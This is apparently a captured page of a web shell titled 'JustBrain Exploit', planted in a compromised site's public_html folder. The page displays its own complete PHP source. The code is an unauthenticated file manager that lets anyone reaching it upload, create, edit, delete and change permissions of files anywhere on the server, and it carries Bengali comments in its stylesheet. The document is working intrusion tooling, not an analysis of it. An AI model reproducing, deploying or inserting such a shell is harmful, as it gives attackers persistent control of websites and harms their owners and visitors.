PHP Version: 8.2.30
JustBrain Exploit🛒
>
home
>
tceemnsk
>
public_html
>
e611e9
Name
Size
Permissions
Actions
error_log
606903 bytes
0644
Edit
|
Delete
|
Change Permissions
index.php
10308 bytes
0644
Edit
|
Delete
|
Change Permissions
Edit File: index.php
<?php // Simple PHP File Manager // Get PHP version $php_version = phpversion(); // Path to manage $path = isset($_GET['path']) ? $_GET['path'] : '.'; // Normalize and secure the path $path = realpath($path); // Helper function to get the size of a directory function getDirectorySize($path) { $bytestotal = 0; if($path !== false && $path != '' && file_exists($path)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS)) as $object){ $bytestotal += $object->getSize(); } } return $bytestotal; } // Helper function to get file permissions function getFilePermissions($file) { return substr(sprintf('%o', fileperms($file)), -4); } // Handle file upload if(isset($_FILES['file'])){ $upload_path = $path . '/' . basename($_FILES['file']['name']); if(move_uploaded_file($_FILES['file']['tmp_name'], $upload_path)){ // File uploaded successfully, just reload page without alert header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($path)); exit; } } // Handle file deletion if(isset($_GET['delete'])){ $delete_path = realpath($path . '/' . $_GET['delete']); if(is_file($delete_path)){ unlink($delete_path); } elseif(is_dir($delete_path)){ rmdir($delete_path); } // Reload page after deletion without alert header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($path)); exit; } // Handle file editing if(isset($_POST['save']) && isset($_POST['content']) && isset($_GET['edit'])){ $edit_path = realpath($path . '/' . $_GET['edit']); file_put_contents($edit_path, $_POST['content']); // Reload page after saving without alert header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($path)); exit; } // Handle permission change if(isset($_POST['change_permissions']) && isset($_POST['permissions']) && isset($_GET['permission'])){ $permission_path = realpath($path . '/' . $_GET['permission']); chmod($permission_path, octdec($_POST['permissions'])); // Reload page after changing permissions without alert header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($path)); exit; } // Handle new file creation if(isset($_POST['create_file']) && isset($_POST['new_filename'])){ $new_file_path = $path . '/' . $_POST['new_filename']; if(file_put_contents($new_file_path, '') !== false){ // Reload page after file creation without alert header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($path)); exit; } } // List files and directories $files = scandir($path); $path_parts = explode(DIRECTORY_SEPARATOR, $path); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>JustBrain Exploit</title> <style> body { font-family: Arial, sans-serif; background-color: black; color: #fff; margin: 0; padding: 0; height: 100vh; display: flex; flex-direction: column; } .file-manager { max-width: 100%; margin: 0; padding: 20px; box-sizing: border-box; position: relative; height: 100%; overflow-y: auto; } .file-manager h1 { margin-top: 0; color: #007bff; text-align: center; } .path { margin: 10px 0; text-align: center; } .path a { color: #007bff; text-decoration: none; } .path a:hover { text-decoration: underline; } .watermark { position: absolute; bottom: 10px; right: 10px; font-size: 12px; color: #ccc; } table { width: 100%; border-collapse: collapse; margin-top: 20px; } th, td { padding: 10px; border: 1px solid #ddd; text-align: left; } th { background-color: #333; color: #fff; } td a { color: red; text-decoration: none; } td a:hover { text-decoration: underline; } .editor { margin-top: 20px; } .editor textarea { width: 100%; padding: 10px; border: 1px solid #ddd; border-radius: 4px; } .editor input[type="submit"] { margin-top: 10px; padding: 10px 20px; border: none; background-color: #007bff; color: #fff; cursor: pointer; border-radius: 4px; } .editor input[type="submit"]:hover { background-color: #0056b3; } .upload-form input[type="file"] { margin-right: 10px; } .upload-form input[type="submit"] { padding: 5px 15px; border: none; background-color: #28a745; color: #fff; cursor: pointer; border-radius: 4px; } .upload-form input[type="submit"]:hover { background-color: #218838; } .permissions-form input[type="text"] { width: 100px; padding: 5px; border-radius: 4px; border: 1px solid #ddd; } .permissions-form input[type="submit"] { padding: 5px 15px; border: none; background-color: #f8c200; color: #fff; cursor: pointer; border-radius: 4px; } .permissions-form input[type="submit"]:hover { background-color: #e0a800; } /* File Hover Effect */ table td:hover { background-color: #444; /* কালার পরিবর্তন হবে */ transition: background-color 0.3s ease; /* স্মুথ ট্রানজিশন */ } table td:hover a { color: red; /* লিঙ্কের টেক্সট রেড হবে */ } /* সমস্ত টেক্সটের জন্য রেড কালার */ table td { color: red; /* সাধারণভাবে সমস্ত টেক্সটের জন্য রেড কালার */ } /* Full screen adjustments */ .file-manager { height: 100vh; /* Full height */ padding: 0; overflow-y: auto; } /* Center align the contents */ h1 { font-size: 2rem; color: white; text-align: center; margin-top: 0; } </style> </head> <body> <div class="file-manager"> <!-- Display PHP Version at the top --> <div style="text-align: center; font-size: 18px; color: #fff; margin-bottom: 20px;"> PHP Version: <?php echo $php_version; ?> </div> <h1>JustBrain Exploit🛒</h1> <!-- Display Path as URL --> <div class="path"> <?php foreach($path_parts as $key => $part): ?> <?php $current_path = implode(DIRECTORY_SEPARATOR, array_slice($path_parts, 0, $key + 1)); ?> <a href="?path=<?php echo urlencode($current_path); ?>"><?php echo htmlspecialchars($part); ?></a> <?php if($key < count($path_parts) - 1): ?> > <?php endif; ?> <?php endforeach; ?> </div> <!-- Upload Form --> <form action="" method="post" enctype="multipart/form-data" class="upload-form"> <input type="file" name="file" id="file-upload"> <input type="submit" value="Upload" id="upload-btn"> </form> <!-- New File Creation Form --> <form action="" method="post" class="create-file-form"> <input type="text" name="new_filename" placeholder="New file name" required> <input type="submit" name="create_file" value="Create New File"> </form> <!-- Files Table --> <table> <tr> <th>Name</th> <th>Size</th> <th>Permissions</th> <th>Actions</th> </tr> <?php foreach($files as $file): ?> <?php if($file == '.' || $file == '..') continue; ?> <tr> <td> <?php if(is_dir($path . '/' . $file)): ?> <a href="?path=<?php echo urlencode($path . '/' . $file); ?>"><?php echo $file; ?></a> <?php else: ?> <?php echo $file; ?> <?php endif; ?> </td> <td><?php echo is_dir($path . '/' . $file) ? getDirectorySize($path . '/' . $file) : filesize($path . '/' . $file); ?> bytes</td> <td><?php echo getFilePermissions($path . '/' . $file); ?></td> <td> <?php if(is_file($path . '/' . $file)): ?> <a href="?edit=<?php echo urlencode($file); ?>">Edit</a> | <a href="javascript:void(0);" onclick="deleteFile('<?php echo urlencode($file); ?>')">Delete</a> | <a href="?permission=<?php echo urlencode($file); ?>">Change Permissions</a> <?php else: ?> <a href="?permission=<?php echo urlencode($file); ?>">Change Permissions</a> | <a href="javascript:void(0);" onclick="deleteFile('<?php echo urlencode($file); ?>')">Delete Folder</a> <?php endif; ?> </td> </tr> <?php endforeach; ?> </table> <!-- Edit File Content --> <?php if(isset($_GET['edit'])): ?> <div class="editor"> <h3>Edit File: <?php echo htmlspecialchars($_GET['edit']); ?></h3> <form action="" method="post"> <textarea name="content" rows="20"><?php echo htmlspecialchars(file_get_contents($path . '/' . $_GET['edit'])); ?></textarea> <input type="submit" name="save" value="Save"> </form> </div> <?php endif; ?> <!-- Permissions Form --> <?php if(isset($_GET['permission'])): ?> <div class="permissions-form"> <h3>Change Permissions for: <?php echo htmlspecialchars($_GET['permission']); ?></h3> <form action="" method="post"> <input type="text" name="permissions" placeholder="New permissions" required> <input type="submit" name="change_permissions" value="Change Permissions"> </form> </div> <?php endif; ?> <div class="watermark"> Powered by JustBrain </div> </div> <script> // Delete File function function deleteFile(file) { if(confirm('Are you sure you want to delete this file?')) { window.location.href = '?delete=' + file; } } </script> </body> </html>
Powered by JustBrain